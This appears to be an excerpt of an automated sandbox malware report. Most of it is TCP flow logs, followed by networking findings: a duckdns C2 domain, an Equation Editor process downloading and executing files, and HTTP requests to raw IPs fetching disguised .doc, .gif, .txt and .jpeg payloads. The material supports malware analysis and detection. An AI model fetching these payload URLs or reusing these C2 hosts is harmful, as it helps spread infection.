            Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
            Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
            Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
            Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
            Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
            Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
            Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
            Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 192.168.2.22:49166 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49166
            Source: global trafficTCP traffic: 192.168.2.22:49166 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
            Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49166 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49166
            Source: global trafficTCP traffic: 192.168.2.22:49166 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 192.168.2.22:49166 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49166
            Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49166
            Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49166
            Source: global trafficTCP traffic: 192.168.2.22:49166 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
            Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
            Source: global trafficTCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
            Source: global trafficTCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
            Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
            Source: global trafficTCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
            Source: global trafficTCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
            Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
            Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
            Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
            Source: global trafficTCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
            Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
            Source: global trafficTCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
            Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
            Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
            Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168

            Networking

            barindex
            C2 URLs / IPs found in malware configuration
            Source: Malware configuration extractorURLs: maveing.duckdns.org
            Uses dynamic DNS services
            Source: unknownDNS query: name: maveing.duckdns.org
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_003309A6 URLDownloadToFileW,ShellExecuteW,ExitProcess,8_2_003309A6
            Source: screensimplethingstohandlecream.vBS.8.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
            Source: screensimplethingstohandlecream.vBS.8.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
            Source: screensimplethingstohandlecream[1].gif.8.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
            Source: screensimplethingstohandlecream[1].gif.8.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
            Source: global trafficHTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /50/HNBC.txt HTTP/1.1Host: 192.3.176.154Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
            Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
            Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
            Source: Joe Sandbox ViewIP Address: 188.114.96.3 188.114.96.3
            Source: Joe Sandbox ViewIP Address: 188.114.96.3 188.114.96.3
            Source: Joe Sandbox ViewASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
            Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
            Source: global trafficHTTP traffic detected: GET /dg4Zx HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /50/BNC/iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.154Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /50/screensimplethingstohandlecream.gIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.154Connection: Keep-Alive
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
